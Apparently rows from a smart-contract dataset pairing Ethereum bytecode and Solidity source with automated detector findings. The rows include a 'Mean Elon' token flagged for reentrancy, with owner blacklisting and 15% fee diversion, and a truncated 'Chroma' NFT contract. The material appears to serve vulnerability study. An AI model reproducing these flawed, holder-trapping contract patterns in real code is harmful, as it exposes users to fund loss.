0a01b0385166000908152600a6020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561174c576001600160a01b0385166000908152600a6020908152604080832063ffffffff600019890116845290915290206001018290556117bd565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600a84528681208b8616825284528681209551865490861663ffffffff199182161787559251600196870155908152600b9092529390208054928801909116919092161790555b604080518481526020810184905281516001600160a01b038816927f85f7ecb80f73cfa8b5a325558efa64c1a3e0a8cedb0b8700095584d527c40b1e928290030190a25050505050565b600081640100000000841061185d5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561115757818101518382015260200161113f565b509192915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106118a65782800160ff198235161785556118d3565b828001600101855582156118d3579182015b828111156118d35782358255916020019190600101906118b8565b506118df9291506118fa565b5090565b604080518082019091526000808252602082015290565b5b808211156118df57600081556001016118fb56fe6765745072696f72566f7465733a206e6f74207965742064657465726d696e65645f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f777345524332303a206275726e20616d6f756e7420657863656564732062616c616e63657472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365696e697469616c697a653a20696e76616c696420676f7665726e616e636520616464726573735f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f20616464726573735f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63655f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f20616464726573735f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a206275726e2066726f6d20746865207a65726f2061646472657373696e697469616c697a653a2063616e206f6e6c7920696e697469616c697a65206f6e6365a2646970667358221220af4bb88b33ed1286020c981820590019339c605ff4d99f98e29e05d5d3b8ed7e64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
7,636
0xde422cab5d15fe285da457a0c3043fc865559edc
// SPDX-License-Identifier: UNLICENSED // Webite: https://meanelon.com // Telegram: https://t.me/meanelon pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MEANELON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Mean Elon"; string private constant _symbol = "MEANELON"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xbfccd895C0b10B36FC5D53B66076555D4b80150e); _buyTax = 15; _sellTax = 15; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd14610215578063273123b714610235578063313ce567146102555780636fc3eaec1461027157806370a082311461028657600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a057806318160ddd146101d05780631bbae6e0146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611667565b610419565b005b34801561016857600080fd5b5060408051808201909152600981526826b2b0b71022b637b760b91b60208201525b6040516101979190611684565b60405180910390f35b3480156101ac57600080fd5b506101c06101bb3660046116fe565b61046a565b6040519015158152602001610197565b3480156101dc57600080fd5b50670de0b6b3a76400005b604051908152602001610197565b34801561020157600080fd5b5061015a61021036600461172a565b610481565b34801561022157600080fd5b506101c0610230366004611743565b6104c3565b34801561024157600080fd5b5061015a610250366004611784565b61052c565b34801561026157600080fd5b5060405160098152602001610197565b34801561027d57600080fd5b5061015a610577565b34801561029257600080fd5b506101e76102a1366004611784565b6105ab565b3480156102b257600080fd5b5061015a6105cd565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610197565b3480156102ef57600080fd5b5060408051808201909152600881526726a2a0a722a627a760c11b602082015261018a565b34801561032057600080fd5b5061015a610641565b34801561033557600080fd5b506101c06103443660046116fe565b610853565b34801561035557600080fd5b5061015a6103643660046117b7565b610860565b34801561037557600080fd5b5061015a6108f6565b34801561038a57600080fd5b5061015a610936565b34801561039f57600080fd5b5061015a6103ae36600461172a565b610ade565b3480156103bf57600080fd5b5061015a6103ce36600461172a565b610b16565b3480156103df57600080fd5b506101e76103ee36600461187c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b8152600401610443906118b5565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610b4e565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b8152600401610443906118b5565b66470de4df8200008111156104c05760108190555b50565b60006104d0848484610c72565b610522843361051d85604051806060016040528060288152602001611a7b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f82565b610b4e565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b8152600401610443906118b5565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a15760405162461bcd60e51b8152600401610443906118b5565b476104c081610fbc565b6001600160a01b03811660009081526002602052604081205461047b90610ff6565b6000546001600160a01b031633146105f75760405162461bcd60e51b8152600401610443906118b5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b8152600401610443906118b5565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e91906118ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bf91906118ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906118ea565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610c72565b6000546001600160a01b0316331461088a5760405162461bcd60e51b8152600401610443906118b5565b60005b81518110156108f2576001600660008484815181106108ae576108ae611907565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ea81611933565b91505061088d565b5050565b6000546001600160a01b031633146109205760405162461bcd60e51b8152600401610443906118b5565b600061092b306105ab565b90506104c08161107a565b6000546001600160a01b031633146109605760405162461bcd60e51b8152600401610443906118b5565b600e546109809030906001600160a01b0316670de0b6b3a7640000610b4e565b600e546001600160a01b031663f305d719473061099c816105ab565b6000806109b16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3e919061194e565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c0919061197c565b6000546001600160a01b03163314610b085760405162461bcd60e51b8152600401610443906118b5565b600f8110156104c057600b55565b6000546001600160a01b03163314610b405760405162461bcd60e51b8152600401610443906118b5565b600f8110156104c057600c55565b6001600160a01b038316610bb05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610c115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610d9a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610dc057600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0257506001600160a01b03821660009081526005602052604090205460ff16155b15610f72576000600955600c54600a55600f546001600160a01b038481169116148015610e3d5750600e546001600160a01b03838116911614155b8015610e6257506001600160a01b03821660009081526005602052604090205460ff16155b8015610e775750600f54600160b81b900460ff165b15610ea4576000610e87836105ab565b601054909150610e9783836111f4565b1115610ea257600080fd5b505b600f546001600160a01b038381169116148015610ecf5750600e546001600160a01b03848116911614155b8015610ef457506001600160a01b03831660009081526005602052604090205460ff16155b15610f05576000600955600b54600a555b6000610f10306105ab565b600f54909150600160a81b900460ff16158015610f3b5750600f546001600160a01b03858116911614155b8015610f505750600f54600160b01b900460ff165b15610f7057610f5e8161107a565b478015610f6e57610f6e47610fbc565b505b505b610f7d838383611253565b505050565b60008184841115610fa65760405162461bcd60e51b81526004016104439190611684565b506000610fb38486611999565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f2573d6000803e3d6000fd5b600060075482111561105d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b600061106761125e565b90506110738382611281565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c2576110c2611907565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561111b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113f91906118ea565b8160018151811061115257611152611907565b6001600160a01b039283166020918202929092010152600e546111789130911684610b4e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b19085906000908690309042906004016119b0565b600060405180830381600087803b1580156111cb57600080fd5b505af11580156111df573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112018385611a21565b9050838110156110735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b610f7d8383836112c3565b600080600061126b6113ba565b909250905061127a8282611281565b9250505090565b600061107383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fa565b6000806000806000806112d587611428565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113079087611485565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133690866111f4565b6001600160a01b038916600090815260026020526040902055611358816114c7565b6113628483611511565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113a791815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113d58282611281565b8210156113f157505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361141b5760405162461bcd60e51b81526004016104439190611684565b506000610fb38486611a39565b60008060008060008060008060006114458a600954600a54611535565b925092509250600061145561125e565b905060008060006114688e87878761158a565b919e509c509a509598509396509194505050505091939550919395565b600061107383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f82565b60006114d161125e565b905060006114df83836115da565b306000908152600260205260409020549091506114fc90826111f4565b30600090815260026020526040902055505050565b60075461151e9083611485565b60075560085461152e90826111f4565b6008555050565b600080808061154f606461154989896115da565b90611281565b9050600061156260646115498a896115da565b9050600061157a826115748b86611485565b90611485565b9992985090965090945050505050565b600080808061159988866115da565b905060006115a788876115da565b905060006115b588886115da565b905060006115c7826115748686611485565b939b939a50919850919650505050505050565b6000826115e95750600061047b565b60006115f58385611a5b565b9050826116028583611a39565b146110735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80151581146104c057600080fd5b60006020828403121561167957600080fd5b813561107381611659565b600060208083528351808285015260005b818110156116b157858101830151858201604001528201611695565b818111156116c3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c057600080fd5b80356116f9816116d9565b919050565b6000806040838503121561171157600080fd5b823561171c816116d9565b946020939093013593505050565b60006020828403121561173c57600080fd5b5035919050565b60008060006060848603121561175857600080fd5b8335611763816116d9565b92506020840135611773816116d9565b929592945050506040919091013590565b60006020828403121561179657600080fd5b8135611073816116d9565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117ca57600080fd5b823567ffffffffffffffff808211156117e257600080fd5b818501915085601f8301126117f657600080fd5b813581811115611808576118086117a1565b8060051b604051601f19603f8301168101818110858211171561182d5761182d6117a1565b60405291825284820192508381018501918883111561184b57600080fd5b938501935b8285101561187057611861856116ee565b84529385019392850192611850565b98975050505050505050565b6000806040838503121561188f57600080fd5b823561189a816116d9565b915060208301356118aa816116d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118fc57600080fd5b8151611073816116d9565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119475761194761191d565b5060010190565b60008060006060848603121561196357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561198e57600080fd5b815161107381611659565b6000828210156119ab576119ab61191d565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a005784516001600160a01b0316835293830193918301916001016119db565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3457611a3461191d565b500190565b600082611a5657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a7557611a7561191d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206546c8e4e34fc3f37e86de8db8ef305b3953c022644416184113aac654d4aced64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,637
0xa62fed17dc7fea3e972d7b57adbde921d26e5eba
pragma solidity 0.7.6; pragma abicoder v2; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); return c; } /** * @dev Returns the remainder of dividing two unsigned integers, throws on overflow. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); return a % b; } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface ERC721TokenReceiver { function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) external returns (bytes4); } interface FungibleChromaInterface { function mint(address account, uint256 amount) external; function burn(address account, uint256 amount) external; } contract Chroma is IERC721 { using SafeMath for uint256; bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02; uint256 public numTokens; mapping(bytes4 => bool) internal supportedInterfaces; mapping(uint256 => address) public idToOwner; mapping(uint256 => address) internal idToApproval; mapping(address => mapping(address => bool)) internal ownerToOperators; mapping(address => uint256[]) public ownerToIds; mapping(uint256 => uint256) public idToOwnerIndex; string internal nftName = "Chroma"; string internal nftSymbol = unicode"■"; bool private reentrancyLock = false; /* Prevent a contract function from being reentrant-called. */ modifier reentrancyGuard() { if (reentrancyLock) { revert(); } reentrancyLock = true; _; reentrancyLock = false; } modifier canTransfer(uint256 _tokenId) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || idToApproval[_tokenId] == msg.sender || ownerToOperators[tokenOwner][msg.sender], "Cannot transfer." ); _; } modifier canOperate(uint256 _tokenId) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender], "Cannot operate." ); _; } modifier validNFToken(uint256 _tokenId) { require(idToOwner[_tokenId] != address(0), "Invalid token."); _; } constructor(address payable _adminAddress) { adminAddress = _adminAddress; supportedInterfaces[0x01ffc9a7] = true; // ERC165 supportedInterfaces[0x80ac58cd] = true; // ERC721 supportedInterfaces[0x780e9d63] = true; // ERC721 Enumerable supportedInterfaces[0x5b5e139f] = true; // ERC721 Metadata } function _mintNFT( address _recipient, uint256 red, uint256 green, uint256 blue ) internal { _addNFToken(_recipient, _RGBToId(red, green, blue)); } function _addNFToken(address _to, uint256 _tokenId) internal { require( idToOwner[_tokenId] == address(0), "Cannot add, already owned." ); idToOwner[_tokenId] = _to; ownerToIds[_to].push(_tokenId); idToOwnerIndex[_tokenId] = ownerToIds[_to].length.sub(1); } function _removeNFToken(address _from, uint256 _tokenId) internal { require(idToOwner[_tokenId] == _from, "Incorrect owner."); delete idToOwner[_tokenId]; uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId]; uint256 lastTokenIndex = ownerToIds[_from].length.sub(1); if (lastTokenIndex != tokenToRemoveIndex) { uint256 lastToken = ownerToIds[_from][lastTokenIndex]; ownerToIds[_from][tokenToRemoveIndex] = lastToken; idToOwnerIndex[lastToken] = tokenToRemoveIndex; } ownerToIds[_from].pop(); } function _getOwnerNFTCount(address _owner) internal view returns (uint256) { return ownerToIds[_owner].length; } function _safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) private canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, "Incorrect owner."); require(_to != address(0)); _transfer(_to, _tokenId); if (isContract(_to)) { bytes4 retval = ERC721TokenReceiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data ); require(retval == MAGIC_ON_ERC721_RECEIVED); } } function _clearApproval(uint256 _tokenId) private { if (idToApproval[_tokenId] != address(0)) { delete idToApproval[_tokenId]; } } function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + (temp % 10))); temp /= 10; } return string(buffer); } function toHexDigit(uint8 d) internal pure returns (bytes1) { if (0 <= d && d <= 9) { return bytes1(uint8(bytes1("0")) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return bytes1(uint8(bytes1("a")) + d - 10); } // revert("Invalid hex digit"); revert(); } function toHexString(uint256 a) public pure returns (string memory) { uint256 count = 2; uint256 b = a; bytes memory res = new bytes(count); for (uint256 i = 0; i < count; ++i) { b = a % 16; res[count - i - 1] = toHexDigit(uint8(b)); a /= 16; } return string(res); } function _toHex(uint256 _id) internal pure returns (string memory) { string memory r = toHexString(idToRed(_id)); string memory g = toHexString(idToGreen(_id)); string memory b = toHexString(idToBlue(_id)); return 